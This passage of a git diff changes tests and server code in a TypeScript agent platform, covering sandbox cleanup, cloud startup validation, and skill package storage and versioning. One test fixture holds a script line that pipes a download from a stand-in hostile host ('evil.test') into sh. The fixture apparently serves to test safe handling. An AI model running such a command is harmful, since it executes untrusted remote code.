"ready", config: {}, + }) : undefined; + const secret = await savedCreationCredential(vault?.id); + if (state === "deleted") await secrets.remove(secret.id); + else if (state === "disabled" || state === "archived") await secrets.update(secret.id, { status: state }); + else if (state === "version-disabled") await db.update(companySecretVersions).set({ status: "disabled" }) + .where(eq(companySecretVersions.secretId, secret.id)); + else await secrets.updateProviderConfig(vault!.id, { status: state === "vault-disabled" ? "disabled" : "coming_soon" }); + const inspectCalls = () => vi.mocked(workers.call).mock.calls.filter(value => value[1] === "environmentInspectLease").length; + await due(); await runtime().flushDeferredOrphanCleanups(); + expect(await db.select().from(sandboxCreationOperations)).toEqual([ + expect.objectContaining({ state: "needs_reconciliation" }), + ]); + expect(await db.select().from(environmentLeases)).toEqual([]); + expect(inspectCalls()).toBe(0); + expect(await nextEnvironmentCleanupAt(db)).toBeNull(); + const restarted = runtime(); + await restarted.flushDeferredOrphanCleanups(); await restarted.flushDeferredOrphanCleanups(); + expect(inspectCalls()).toBe(0); expect(creates).toBe(1); expect(destroys).toBe(0); + expect(await nextEnvironmentCleanupAt(db)).toBeNull(); + await db.update(heartbeatRuns).set({ status: "failed", finishedAt: new Date() }).where(eq(heartbeatRuns.id, runId)); + const ownerId = randomUUID(); + const hold = { ownerId, draining: true, startedAt: new Date(Date.now() - 1000), expiresAt: new Date(Date.now() + 60_000), activeRuns: 0, pendingWakes: 0 }; + // An installed plugin is a separate blocker until its worker proves quiet. + expect(await readIdleSleepSafety(db, () => hold, Date.now, ownerId, async () => "none")) + .toEqual({ version: 1, backgroundWork: "present" }); + expect(await readIdleSleepSafety(db, () => hold, Date.now, ownerId, async () => "none", + async () => ({ backgroundWork: "none", pluginIds: [pluginId] }))) + .toEqual({ version: 1, backgroundWork: "none" }); + expect(await readdir(spool)).toEqual([]); + }); + it("retries a temporary creation credential resolution failure without losing ownership", async () => { + await savedCreationCredential(); + const original = secretOwner.secretService; + const resolution = vi.fn(async () => { throw new HttpError(503, "Temporary credential provider failure"); }); + const owner = vi.spyOn(secretOwner, "secretService").mockImplementation(client => ({ + ...original(client), resolveSecretValueForSandboxCleanup: resolution, + })); + try { + await due(); await runtime().flushDeferredOrphanCleanups(); + expect(resolution).toHaveBeenCalledTimes(1); + expect(await db.select().from(sandboxCreationOperations)).toEqual([ + expect.objectContaining({ state: "pending", nextAttemptAt: expect.any(Date) }), + ]); + expect(await nextEnvironmentCleanupAt(db)).toBeGreaterThan(Date.now()); + expect(vi.mocked(workers.call).mock.calls.filter(value => value[1] === "environmentInspectLease")).toHaveLength(0); + } finally { owner.mockRestore(); } + await due(); await runtime().flushDeferredOrphanCleanups(); + expect(await db.select().from(sandboxCreationOperations)).toEqual([expect.objectContaining({ state: "cleanup_pending" })]); + expect(await db.select().from(environmentLeases)).toHaveLength(1); + expect(creates).toBe(1); expect(destroys).toBe(0); expect(await readdir(spool)).toEqual([]); + }); + it("makes unsupported uncertain outcomes explicit without another creation", async () => { + loseReply = true; await expect(acquire()).rejects.toThrow(); + await db.update(plugins).set({ manifestJson: sql`${plugins.manifestJson} #- '{environmentDrivers,0,creationOperationVersion}'` }).where(eq(plugins.id, pluginId)); + await due(); await runtime().flushDeferredOrphanCleanups(); + expect(await db.select().from(sandboxCreationOperations)).toEqual([expect.objectContaining({ state: "needs_reconciliation" })]); + expect(await nextEnvironmentCleanupAt(db)).toBeNull(); + await expect(acquire()).rejects.toThrow("requires reconciliation"); expect(creates).toBe(1); + }); +}); diff --git a/server/src/__tests__/server-startup-feedback-export.test.ts b/server/src/__tests__/server-startup-feedback-export.test.ts index b645d7437c8..bbb020c865d 100644 --- a/server/src/__tests__/server-startup-feedback-export.test.ts +++ b/server/src/__tests__/server-startup-feedback-export.test.ts @@ -614,6 +614,70 @@ describe("startServer feedback export wiring", () => { process.env.BETTER_AUTH_SECRET = "test-secret"; }); + + it("refuses invalid cloud bootstrap prerequisites before signing, DB creation, or HTTP setup", async () => { + const realConfig = await vi.importActual("../config.js"); + const originalHome = process.env.PAPERCLIP_HOME; + const originalManaged = process.env.PAPERCLIP_MANAGED_CONFIG; + const originalStorage = process.env.PAPERCLIP_STORAGE_PROVIDER; + const tempHome = mkdtempSync(path.join(tmpdir(), "paperclip-cloud-refusal-")); + process.env.PAPERCLIP_HOME = tempHome; + process.env.PAPERCLIP_MANAGED_CONFIG = JSON.stringify({ + v: 1, mode: "cloud", catalogVersion: "2026.720.0", features: {}, plugins: { autoInstall: [] }, + }); + process.env.PAPERCLIP_STORAGE_PROVIDER = "s3"; + delete process.env.PAPERCLIP_DECISION_SIGNING_SECRET; + cloudRuntimeStartupMocks.bootstrap.mockImplementationOnce(realConfig.loadCloudBootstrapConfig); + vi.stubEnv("PAPERCLIP_SECRETS_MASTER_KEY", undefined); + vi.stubEnv("DATABASE_URL", buildTestConfig().databaseUrl); + try { + await expect(startServer()).rejects.toThrow(/stable PAPERCLIP_SECRETS_MASTER_KEY/); + expect(createDbMock).not.toHaveBeenCalled(); + expect(createAppMock).not.toHaveBeenCalled(); + expect(existsSync(path.join(tempHome, "instances"))).toBe(false); + } finally { + if (originalHome === undefined) delete process.env.PAPERCLIP_HOME; + else process.env.PAPERCLIP_HOME = originalHome; + if (originalManaged === undefined) delete process.env.PAPERCLIP_MANAGED_CONFIG; + else process.env.PAPERCLIP_MANAGED_CONFIG = originalManaged; + if (originalStorage === undefined) delete process.env.PAPERCLIP_STORAGE_PROVIDER; + else process.env.PAPERCLIP_STORAGE_PROVIDER = originalStorage; + vi.unstubAllEnvs(); + rmSync(tempHome, { recursive: true, force: true }); + } + }); + + + it("rejects missing effective Cloud storage after the snapshot and before local signing mutations", async () => { + const realConfig = await vi.importActual("../config.js"); + const { setCloudRuntimeConfigSnapshot } = await import("../services/cloud-runtime-config-snapshot.js"); + const tempHome = mkdtempSync(path.join(tmpdir(), "paperclip-cloud-storage-refusal-")); + vi.stubEnv("PAPERCLIP_HOME", tempHome); + vi.stubEnv("PAPERCLIP_MANAGED_CONFIG", JSON.stringify({ v: 1, mode: "cloud", catalogVersion: "2026.720.0", features: {}, plugins: { autoInstall: [] } })); + vi.stubEnv("PAPERCLIP_SECRETS_MASTER_KEY", "12345678901234567890123456789012"); + vi.stubEnv("DATABASE_URL", buildTestConfig().databaseUrl); + vi.stubEnv("PAPERCLIP_STORAGE_PROVIDER", "s3"); + vi.stubEnv("PAPERCLIP_STORAGE_S3_BUCKET", undefined); + vi.stubEnv("PAPERCLIP_DECISION_SIGNING_SECRET", undefined); + cloudRuntimeStartupMocks.initialize.mockImplementationOnce(async () => { + setCloudRuntimeConfigSnapshot({ version: 1, revision: 0, config: null }); + return null; + }); + loadConfigMock.mockImplementationOnce(realConfig.loadConfig); + try { + await expect(startServer()).rejects.toThrow(/PAPERCLIP_STORAGE_S3_BUCKET/); + expect(createDbMock).toHaveBeenCalled(); + expect(cloudRuntimeStartupMocks.initialize).toHaveBeenCalledOnce(); + expect(cloudRuntimeStartupMocks.telemetry).not.toHaveBeenCalled(); + expect(createAppMock).not.toHaveBeenCalled(); + expect(existsSync(path.join(tempHome, "instances"))).toBe(false); + } finally { + setCloudRuntimeConfigSnapshot(null); + vi.unstubAllEnvs(); + rmSync(tempHome, { recursive: true, force: true }); + } + }); + it("awaits saved Cloud configuration before telemetry, authentication and app construction", async () => { vi.stubEnv("PAPERCLIP_CLOUD_TENANT_SERVER_TOKEN", "startup-test-token"); vi.stubEnv("HOST", "0.0.0.0"); @@ -672,6 +736,7 @@ describe("startServer feedback export wiring", () => { } finally { vi.unstubAllEnvs(); } }); + it.each([false, true])("registers runner evidence independently from the backup scan (%s)", async enabled => { loadConfigMock.mockReturnValue(buildTestConfig({ nativeHarnessBackupExpirationEnabled: enabled })); await startServer(); await settleStartupHousekeeping(); @@ -1175,7 +1240,8 @@ describe("startServer feedback export wiring", () => { it("refuses startup when an explicit decision signing secret is too short", async () => { process.env.PAPERCLIP_DECISION_SIGNING_SECRET = "too-short"; await expect(startServer()).rejects.toThrow("PAPERCLIP_DECISION_SIGNING_SECRET must be at least 32 characters"); - expect(loadConfigMock).not.toHaveBeenCalled(); + expect(createDbMock).not.toHaveBeenCalled(); + expect(createAppMock).not.toHaveBeenCalled(); }); it("passes the feedback export service into createApp so pending traces flush in runtime", async () => { diff --git a/server/src/__tests__/skill-package-store.test.ts b/server/src/__tests__/skill-package-store.test.ts index 8b9d824e734..ca277c1655b 100644 --- a/server/src/__tests__/skill-package-store.test.ts +++ b/server/src/__tests__/skill-package-store.test.ts @@ -8,7 +8,7 @@ import os from "node:os"; import path from "node:path"; import { and, eq, sql } from "drizzle-orm"; import { afterAll, afterEach, beforeAll, describe, expect, it, vi } from "vitest"; -import { companies, companySkills, companySkillVersions, companySkillRepositorySnapshots as snapshots, +import { agents, companies, companySkills, companySkillVersions, companySkillRepositorySnapshots as snapshots, skillPackageDeletions, createDb, withDedicatedDbConnection } from "@paperclipai/db"; import * as dbModule from "@paperclipai/db"; import type { CompanySkillVersionFileInventoryEntry } from "@paperclipai/shared"; @@ -83,6 +83,26 @@ describe.skipIf(!support.supported)("external skill packages", () => { return { companyId, id, store, skills, service, resolve }; } + it("keeps unchanged linked-local execution on the verified manifest path with complete metadata indexes", async () => { + const companyId = await company(); + vi.spyOn(storageModule, "getStorageService").mockReturnValue(storage); + const directory = path.join(home, `linked-${companyId}`); + await fs.mkdir(directory); + await fs.writeFile(path.join(directory, "SKILL.md"), "# Linked"); + await fs.writeFile(path.join(directory, "support.txt"), "unchanged support"); + const [skill] = await db.insert(companySkills).values({ companyId, key: "linked", slug: "linked", name: "Linked", + markdown: "# Linked", sourceType: "local_path", sourceLocator: directory, + fileInventory: [{ path: "SKILL.md", kind: "skill" }, { path: "support.txt", kind: "other" }] }).returning(); + const service = companySkillService(db); + const version = await service.createVersion(companyId, skill!.id); + const resolve = () => service.listRuntimeSkillEntries(companyId, { onlyKeys: new Set([skill!.key]), snapshotLatest: true }); + await resolve(); + const read = vi.spyOn(fs, "readFile"); + const [runtime] = await resolve(); + expect(runtime?.versionId).toBe(version.id); + expect(read.mock.calls.filter(([file]) => String(file).endsWith("support.txt"))).toHaveLength(0); + }); + it("orders skill and package locks consistently with an edit's dedicated upload connection", async () => { const f = await fixture(); const skill = f.skills[0]!.skill; @@ -121,16 +141,42 @@ describe.skipIf(!support.supported)("external skill packages", () => { expect(await skillPackageStore(db, storage).versionInventory(stale!)).toEqual(files.map(({ path, kind }) => ({ path, kind }))); }); - it("forks a packaged repository inside an outer transaction with a one-connection pool", async () => { + it("prepares a repository fork before its publication transaction with a one-connection pool", async () => { const f = await fixture(); - const fork = await db.transaction(tx => companySkillService(tx as unknown as typeof db, { packageDb: db }) - .createLocalSkill(f.companyId, { name: "Idempotent fork", slug: "idempotent-fork", forkedFromSkillId: f.skills[0]!.skill.id })); + let publishing = false; + const read = storage.getObject.bind(storage); + vi.spyOn(storage, "getObject").mockImplementation((...args) => { + expect(publishing, "Package acquisition must finish before publication takes database locks").toBe(false); + return read(...args); + }); + const fork = await f.service.createLocalSkill(f.companyId, + { name: "Idempotent fork", slug: "idempotent-fork", forkedFromSkillId: f.skills[0]!.skill.id }, null, { + beforeLock: async () => { publishing = true; }, + afterPublish: async (tx, skill, version) => { + expect((await tx.select().from(companySkillVersions).where(eq(companySkillVersions.id, version.id)))[0]) + .toMatchObject({ companySkillId: skill.id }); + }, + }); + publishing = false; const saved = await f.service.getVersion(f.companyId, fork.id, fork.currentVersionId!); expect(saved!.fileInventory).toEqual(expect.arrayContaining([ expect.objectContaining({ path: ".paperclip-repository/shared/run.sh", content: files[2]!.content }), ])); }, 15_000); + it("publishes a fork and agent reassignment atomically with a one-connection pool", async () => { + const f = await fixture(); + const original = f.skills[0]!.skill; + const [agent] = await db.insert(agents).values({ companyId: f.companyId, name: "Fork user", adapterType: "codex_local", + adapterConfig: { paperclipSkillSync: { desiredSkills: [{ key: original.key }] } } }).returning(); + await expect(f.service.forkSkill(f.companyId, original.id, { slug: "atomic-fork", reassignAgentIds: [agent!.id] }, null, + { afterPublish: async () => { throw new Error("audit rollback"); } })).rejects.toThrow("audit rollback"); + expect(await f.service.getByKey(f.companyId, `company/${f.companyId}/atomic-fork`)).toBeNull(); + expect((await db.select().from(agents).where(eq(agents.id, agent!.id)))[0]!.adapterConfig).toEqual(agent!.adapterConfig); + const fork = await f.service.forkSkill(f.companyId, original.id, { slug: "atomic-fork", reassignAgentIds: [agent!.id] }); + expect(fork.reassignments).toEqual([{ agentId: agent!.id, previousSkillKey: original.key, nextSkillKey: fork.skill.key }]); + }); + it("lists version metadata without reading archives, while inspection reads the requested historical bytes", async () => { const f = await fixture(); const { skill, version } = f.skills[0]!; @@ -247,7 +293,7 @@ describe.skipIf(!support.supported)("external skill packages", () => { expect(await skillPackageStore(db, storage).versionFiles(converted!)).toEqual([{ ...files[0]!, path: "SKILL.md" }]); }); - it.each(["file", "folder"] as const)("restores a deleted %s when the replacement package upload fails", async target => { + it.each(["file", "folder"] as const)("keeps committed %s contents when the replacement package upload fails", async target => { const companyId = await company(); vi.spyOn(storageModule, "getStorageService").mockReturnValue(storage); const service = companySkillService(db); @@ -256,11 +302,6 @@ describe.skipIf(!support.supported)("external skill packages", () => { await service.updateFile(companyId, skill.id, "bundle/probe.sh", "#!/bin/sh\nprintf kept\n", null, { executable: true }); await service.updateFile(companyId, skill.id, "bundle/nested/data.bin", binary.toString("base64"), null, { encoding: "base64" }); await service.updateFile(companyId, skill.id, "keep.txt", "Unrelated file\n"); - const root = skill.sourceLocator!; - await fs.chmod(path.join(root, "bundle/probe.sh"), 0o751); - await fs.mkdir(path.join(root, "bundle/empty")); - await fs.mkdir(path.join(root, "bundle/.git")); - await fs.writeFile(path.join(root, "bundle/.git/local-state"), "Unlisted bytes\n"); const [before] = await db.select().from(companySkills).where(eq(companySkills.id, skill.id)); const versionsBefore = await db.select({ id: companySkillVersions.id }).from(companySkillVersions) .where(eq(companySkillVersions.companySkillId, skill.id)); @@ -270,11 +311,10 @@ describe.skipIf(!support.supported)("external skill packages", () => { await expect(service.deleteFile(companyId, skill.id, input)).rejects.toThrow("Object storage unavailable"); expect(upload).toHaveBeenCalled(); } finally { upload.mockRestore(); } - expect(await fs.readFile(path.join(root, "bundle/probe.sh"), "utf8")).toBe("#!/bin/sh\nprintf kept\n"); - expect((await fs.stat(path.join(root, "bundle/probe.sh"))).mode & 0o777).toBe(0o751); - expect(await fs.readFile(path.join(root, "bundle/nested/data.bin"))).toEqual(binary); - expect((await fs.stat(path.join(root, "bundle/empty"))).isDirectory()).toBe(true); - expect(await fs.readFile(path.join(root, "bundle/.git/local-state"), "utf8")).toBe("Unlisted bytes\n"); + expect(await service.readFile(companyId, skill.id, "bundle/probe.sh")) + .toMatchObject({ content: "#!/bin/sh\nprintf kept\n", executable: true }); + expect(await service.readFile(companyId, skill.id, "bundle/nested/data.bin")) + .toMatchObject({ content: binary.toString("base64"), encoding: "base64" }); const [after] = await db.select().from(companySkills).where(eq(companySkills.id, skill.id)); expect(after).toEqual(before); expect(await db.select({ id: companySkillVersions.id }).from(companySkillVersions) @@ -285,8 +325,9 @@ describe.skipIf(!support.supported)("external skill packages", () => { .where(and(eq(snapshots.companyId, companyId), sql`${snapshots.upload} is not null`)); const deleted = await service.deleteFile(companyId, skill.id, input); expect(deleted.deletedPaths).toContain("bundle/probe.sh"); - await expect(fs.stat(path.join(root, input.path))).rejects.toMatchObject({ code: "ENOENT" }); - expect(await fs.readFile(path.join(root, "keep.txt"), "utf8")).toBe("Unrelated file\n"); + await expect(service.readFile(companyId, skill.id, "bundle/probe.sh")).rejects.toMatchObject({ status: 404 }); + if (target === "folder") await expect(service.readFile(companyId, skill.id, "bundle/nested/data.bin")).rejects.toMatchObject({ status: 404 }); + expect(await service.readFile(companyId, skill.id, "keep.txt")).toMatchObject({ content: "Unrelated file\n" }); expect((await service.getVersion(companyId, skill.id, before!.currentVersionId!))!.fileInventory) .toEqual(expect.arrayContaining([expect.objectContaining({ path: "bundle/probe.sh", executable: true })])); }); @@ -300,52 +341,45 @@ describe.skipIf(!support.supported)("external skill packages", () => { await service.updateFile(companyId, skill.id, "keep.txt", "Keep\n"); const before = (await service.getById(companyId, skill.id))!; let deletionFinished = false; - let backupDirectory: string | undefined; - const mkdtemp = fs.mkdtemp.bind(fs); - vi.spyOn(fs, "mkdtemp").mockImplementation(async (...args) => { - const directory = await mkdtemp(...args); - if (String(args[0]).includes("paperclip-skill-delete-")) backupDirectory = directory as string; - return directory; - }); const ambiguousDb = new Proxy(db, { get(target, property, receiver) { if (property === "transaction") return async (callback: (tx: any) => Promise, ...options: any[]) => { if (deletionFinished && outcome === "unavailable") throw new Error("Database unavailable"); const result = await target.transaction(async tx => { const value = await callback(tx); - if (value?.deletedPaths) { + if (value?.skill?.id === skill.id && value?.version) { deletionFinished = true; if (outcome === "rolled_back") throw new Error("Lost commit reply"); } return value; }, ...options); - if (!result?.deletedPaths) return result; + if (result?.skill?.id !== skill.id || !result?.version) return result; if (outcome === "newer_edit") await service.updateFile(companyId, skill.id, "notes.txt", "Newer edit\n"); throw new Error("Lost commit reply"); }; return Reflect.get(target, property, receiver); }, }); - try { - await expect(companySkillService(ambiguousDb, { packageDb: db }).deleteFile(companyId, skill.id, - { path: "notes.txt", target: "file" })).rejects.toThrow("Lost commit reply"); - expect(deletionFinished).toBe(true); - const [saved] = await db.select().from(companySkills).where(eq(companySkills.id, skill.id)); - if (outcome === "rolled_back") { - expect(saved!.currentVersionId).toBe(before.currentVersionId); - expect(await fs.readFile(path.join(skill.sourceLocator!, "notes.txt"), "utf8")).toBe("Original notes\n"); - } else if (outcome === "newer_edit") { - expect(await fs.readFile(path.join(skill.sourceLocator!, "notes.txt"), "utf8")).toBe("Newer edit\n"); - } else { - expect(saved!.currentVersionId).not.toBe(before.currentVersionId); - await expect(fs.stat(path.join(skill.sourceLocator!, "notes.txt"))).rejects.toMatchObject({ code: "ENOENT" }); - } - if (outcome === "unavailable" || outcome === "newer_edit") { - expect(await fs.readFile(path.join(backupDirectory!, "source"), "utf8")).toBe("Original notes\n"); - } else await expect(fs.stat(backupDirectory!)).rejects.toMatchObject({ code: "ENOENT" }); - } finally { - if (backupDirectory) await fs.rm(backupDirectory, { recursive: true, force: true }); + await expect(companySkillService(ambiguousDb, { packageDb: db }).deleteFile(companyId, skill.id, + { path: "notes.txt", target: "file", expectedVersionId: before.currentVersionId })).rejects.toThrow("Lost commit reply"); + expect(deletionFinished).toBe(true); + const [saved] = await db.select().from(companySkills).where(eq(companySkills.id, skill.id)); + if (outcome === "rolled_back") { + expect(saved!.currentVersionId).toBe(before.currentVersionId); + expect(await service.readFile(companyId, skill.id, "notes.txt")).toMatchObject({ content: "Original notes\n" }); + await expect(service.deleteFile(companyId, skill.id, { path: "notes.txt", target: "file", expectedVersionId: before.currentVersionId })) + .resolves.toMatchObject({ deletedPaths: ["notes.txt"] }); + } else { + expect(saved!.currentVersionId).not.toBe(before.currentVersionId); + if (outcome === "newer_edit") expect(await service.readFile(companyId, skill.id, "notes.txt")) + .toMatchObject({ content: "Newer edit\n" }); + else await expect(service.readFile(companyId, skill.id, "notes.txt")).rejects.toMatchObject({ status: 404 }); + await expect(service.deleteFile(companyId, skill.id, { path: "notes.txt", target: "file", expectedVersionId: before.currentVersionId })) + .rejects.toMatchObject({ status: 409 }); } + expect((await service.getVersion(companyId, skill.id, before.currentVersionId!))!.fileInventory) + .toEqual(expect.arrayContaining([expect.objectContaining({ path: "notes.txt", content: "Original notes\n" })])); + }); it("expires an unused Git package and reacquires its exact bytes without a migration command", async () => { @@ -928,6 +962,21 @@ describe.skipIf(!support.supported)("external skill packages", () => { expect(await skillPackageStore(db, storage).versionFiles(saved!)).toEqual([original]); }); + it("backfills a cleared version's metadata index without changing its identity or bytes", async () => { + const f = await fixture(); + const [version] = await db.insert(companySkillVersions).values({ companyId: f.companyId, + companySkillId: f.skills[0]!.skill.id, revisionNumber: 2, packageSnapshotId: f.id, + packageFileMap: null, fileInventory: [], migrationAt: null }).returning(); + expect((await skillPackageMaintenance(db, storage).migrateVersions({ id: version!.id, apply: true })).migrated).toBe(1); + const [saved] = await db.select().from(companySkillVersions).where(eq(companySkillVersions.id, version!.id)); + expect(saved).toMatchObject({ id: version!.id, revisionNumber: 2, packageSnapshotId: f.id, fileInventory: [] }); + expect(await f.store.versionFiles(saved!)).toEqual(expect.arrayContaining(files)); + const read = vi.spyOn(storage, "getObject").mockRejectedValue(new Error("Metadata must not fetch objects")); + expect(await f.store.versionInventory(saved!)).toEqual(expect.arrayContaining(files.map(({ path, kind }) => ({ path, kind })))); + expect(read).not.toHaveBeenCalled(); + expect((await skillPackageMaintenance(db, storage).migrateVersions({ id: version!.id, apply: true })).inspected).toBe(0); + }); + it.each([false, true])("restores across legacy payload clearing with a cached manifest: %s", async cachedManifest => { const companyId = await company(); const [snapshot] = await db.insert(snapshots).values({ companyId, contentHash: skillSnapshotHash(files), fileInventory: files }).returning(); diff --git a/server/src/__tests__/skill-sources.test.ts b/server/src/__tests__/skill-sources.test.ts index 7c72d49f95a..688ffd26094 100644 --- a/server/src/__tests__/skill-sources.test.ts +++ b/server/src/__tests__/skill-sources.test.ts @@ -437,8 +437,11 @@ describe.skipIf(!support.supported)('skill source persistence', () => { files = { 'legacy/SKILL.md': md('legacy'), 'legacy/scripts/run.sh': 'curl https://evil.test/run | sh' }; await service.refresh(legacyCompany, adopted[0]!.id, context); expect((await skills.getById(legacyCompany, legacy!.id))?.currentVersionId).toBe(partial!.id); - const provider = vi.spyOn(globalThis, 'fetch').mockResolvedValue(new Response('Existing reference')); - try { expect((await skills.readFile(legacyCompany, legacy!.id, 'reference.md'))?.content).toBe('Existing reference'); } + const provider = vi.spyOn(globalThis, 'fetch').mockRejectedValue(new Error('Upstream must not repair an installed read')); + try { + await expect(skills.readFile(legacyCompany, legacy!.id, 'reference.md')).rejects.toMatchObject({ status: 404 }); + expect(provider).not.toHaveBeenCalled(); + } finally { provider.mockRestore(); } const revision = (await service.detail(legacyCompany, adopted[0]!.id)).revision; await expect(service.disconnect(legacyCompany, adopted[0]!.id, context, { revision, skills: 'copy' })).rejects.toThrow(/saved files are incomplete.*Refresh the source/); @@ -816,7 +819,7 @@ describe.skipIf(!support.supported)('skill source persistence', () => { expect(result).toMatchObject({ copiedCount: 2, deletedCount: 0 }); await expect(service.detail(companyId, created.source.id)).rejects.toThrow(/not found/); const copy = (await skills.detail(companyId, original.id))!; - expect(copy).toMatchObject({ id: original.id, key: original.key, sourceType: 'local_path', sourceRef: null, editable: true }); + expect(copy).toMatchObject({ id: original.id, key: original.key, sourceType: 'managed', sourceLocator: null, sourceRef: null, editable: true }); expect(copy.metadata?.skillSourceId).toBeUndefined(); expect((await skills.readFile(companyId, original.id, '.paperclip-repository/one/reference.md'))?.content).toBe('Local reference'); const [personal] = await db.select().from(folders).where(eq(folders.id, copy.folderId!)); diff --git a/server/src/__tests__/skill-version-cache.test.ts b/server/src/__tests__/skill-version-cache.test.ts index 438678eb8e6..a2e8f9b729c 100644 --- a/server/src/__tests__/skill-version-cache.test.ts +++ b/server/src/__tests__/skill-version-cache.test.ts @@ -242,12 +242,14 @@ describePostgres("immutable skill version cache", () => { return { run, execution }; } - it.each([false, true])("uses the legacy native manifest without changing unresolved recovery (bundled skill: %s)", async bundled => { + it.each([false, true])("protects unknown legacy versions without changing unresolved recovery (bundled skill: %s)", async bundled => { const f = await fixture(); const old = await f.resolve(f.versions[0]!.id); await touchSkillVersionCache(f.companyId, f.skillId, f.versions[0]!.id, Date.now() - 7_200_000); const { run } = await legacyNativeRun(f.companyId, bundled ? [{ key: "paperclipai/paperclip/slack", versionId: null }] : []); - expect((await sweepSkillVersionCache(db, { companyId: f.companyId })).evicted).toBe(1); + const result = await sweepSkillVersionCache(db, { companyId: f.companyId }); + expect(result.evicted).toBe(bundled ? 0 : 1); + if (bundled) expect(result.skipped.unknown_run_pins).toBe(1); expect((await db.select().from(nativeRunFinalizations).where(eq(nativeRunFinalizations.runId, run.id)))[0]) .toMatchObject({ phase: "terminal_failure", recoveryState: "blocked" }); expect((await db.select().from(heartbeatRuns).where(eq(heartbeatRuns.id, run.id)))[0]!.contextSnapshot).toBeNull(); diff --git a/server/src/__tests__/skill-version-retention.test.ts b/server/src/__tests__/skill-version-retention.test.ts index 98ce5ccb9af..bb757c7b6a6 100644 --- a/server/src/__tests__/skill-version-retention.test.ts +++ b/server/src/__tests__/skill-version-retention.test.ts @@ -712,7 +712,7 @@ describeEmbeddedPostgres("skill version snapshot retention", () => { expect(await exists(dir)).toBe(false); }); - it("sweeps deleted skills after protecting existing runs", async () => { + it("blocks deletion for detached active pins and sweeps after they settle", async () => { const companyId = await createCompany(); const { skillId, versionIds } = await createSkill(companyId, 2); const first = await writeSnapshot(companyId, skillId, versionIds[0]!); @@ -720,14 +720,16 @@ describeEmbeddedPostgres("skill version snapshot retention", () => { const [agent] = await db.insert(agents).values({ companyId, name: "Detached agent" }).returning(); const [run] = await db.insert(heartbeatRuns).values({ companyId, agentId: agent!.id, status: "running", contextSnapshot: { skillVersions: { retained: versionIds[0] } } }).returning(); - await companySkillService(db).deleteSkill(companyId, skillId); + await expect(companySkillService(db).deleteSkill(companyId, skillId)).rejects.toMatchObject({ status: 422 }); expect(await exists(first)).toBe(true); await skillVersionRetentionService(db).pruneCompany(companyId); expect(await exists(first)).toBe(true); - expect(await exists(second)).toBe(false); + expect(await exists(second)).toBe(true); await db.update(heartbeatRuns).set({ status: "succeeded", finishedAt: new Date() }).where(eq(heartbeatRuns.id, run!.id)); + await companySkillService(db).deleteSkill(companyId, skillId); await skillVersionRetentionService(db).pruneCompany(companyId); expect(await exists(first)).toBe(false); + expect(await exists(second)).toBe(false); }); it("never removes anything outside the company's versions root", async () => { diff --git a/server/src/app.ts b/server/src/app.ts index 130bfed7b60..42ab549d582 100644 --- a/server/src/app.ts +++ b/server/src/app.ts @@ -668,7 +668,7 @@ export async function createApp( api.use("/companies", companyRoutes(db, opts.storageService)); api.use(llmRoutes(db)); api.use(folderRoutes(db)); - api.use(companySkillRoutes(db)); + api.use(companySkillRoutes(db, { pluginWorkerManager: workerManager })); api.use(companySkillPolicyRoutes(db)); api.use(inboxAgentPolicyRoutes(db)); api.use(agentCommentaryRoutes(db)); diff --git a/server/src/config-file.ts b/server/src/config-file.ts index d750793c204..fe85ae2feee 100644 --- a/server/src/config-file.ts +++ b/server/src/config-file.ts @@ -20,8 +20,22 @@ function formatConfigValidationError(error: ZodError): string { .join("; "); } -export function readConfigFile(): PaperclipConfig | null { - if (isCloudManagedInstance()) return toPaperclipConfig(getCloudRuntimeConfigSnapshot().config); +interface ConfigFileWithProvenance { + config: PaperclipConfig; + explicitStorageS3Bucket: boolean; +} + +export function readConfigFile(options: { includeProvenance: true }): ConfigFileWithProvenance | null; +export function readConfigFile(): PaperclipConfig | null; +export function readConfigFile(options?: { includeProvenance: true }): PaperclipConfig | ConfigFileWithProvenance | null { + if (isCloudManagedInstance()) { + const saved = getCloudRuntimeConfigSnapshot().config; + const config = toPaperclipConfig(saved); + // A stored snapshot is canonical configuration, including its bucket. + // It must not inherit local-file provenance or inspect an old home. + return config && options?.includeProvenance ? { config, explicitStorageS3Bucket: true } : config; + } + const configPath = resolvePaperclipConfigPath(); if (!fs.existsSync(configPath)) return null; @@ -41,6 +55,12 @@ export function readConfigFile(): PaperclipConfig | null { `Unknown config key ${warning.path}; did you mean ${warning.suggestion}? It will be preserved.`, ); } + if (options?.includeProvenance) { + // Schema validation above establishes the input shape, but fills omitted + // buckets with a default. Keep only that provenance at the file boundary. + const input = raw as Partial; + return { config, explicitStorageS3Bucket: input.storage?.s3?.bucket !== undefined }; + } return config; } catch (error) { if (error instanceof ZodError) { diff --git a/server/src/config.ts b/server/src/config.ts index c1156068fa8..a30c7335142 100644 --- a/server/src/config.ts +++ b/server/src/config.ts @@ -1,3 +1,4 @@ +import { validateManagedCloudBootstrapPrerequisites, validateManagedCloudPrerequisites } from "./managed-cloud-prerequisites.js"; import { readConfigFile, resolveDeploymentMode } from "./config-file.js"; import { isCloudManagedInstance } from "./services/cloud-instance.js"; import { StartupRefusalError } from "./startup-refusals.js"; @@ -143,7 +144,10 @@ function detectTailnetBindHost(): string | undefined { } } -export function loadConfig(fileConfig: PaperclipConfig | null = readConfigFile()): Config { +export function loadConfig(override?: PaperclipConfig | null): Config { + const configFile = override === undefined ? readConfigFile({ includeProvenance: true }) + : override ? { config: override, explicitStorageS3Bucket: true } : null; + const fileConfig = configFile?.config ?? null; const fileDatabaseMode = (isCloudManagedInstance() || fileConfig?.database.mode === "postgres" ? "postgres" : "embedded-postgres") as DatabaseMode; @@ -163,6 +167,11 @@ export function loadConfig(fileConfig: PaperclipConfig | null = readConfigFile() const secretsProvider: SecretProvider = providerFromEnv ?? providerFromFile ?? "local_encrypted"; const storage = loadStorageConfig(fileConfig); + validateManagedCloudPrerequisites({ ...storage, + storageS3Bucket: process.env.PAPERCLIP_STORAGE_S3_BUCKET + ?? (configFile?.explicitStorageS3Bucket ? fileConfig?.storage.s3.bucket : undefined), + databaseUrl: process.env.DATABASE_URL ?? fileDbUrl, + }, process.env); const feedbackExportBackendUrl = process.env.PAPERCLIP_FEEDBACK_EXPORT_BACKEND_URL?.trim() || process.env.PAPERCLIP_TELEMETRY_BACKEND_URL?.trim() || @@ -448,5 +457,6 @@ export function loadCloudBootstrapConfig(): CloudBootstrapConfig { try { parsed = new URL(value); } catch { throw new Error(`Cloud bootstrap ${name} must use PostgreSQL`); } if (!["postgres:", "postgresql:"].includes(parsed.protocol)) throw new Error(`Cloud bootstrap ${name} must use PostgreSQL`); } + 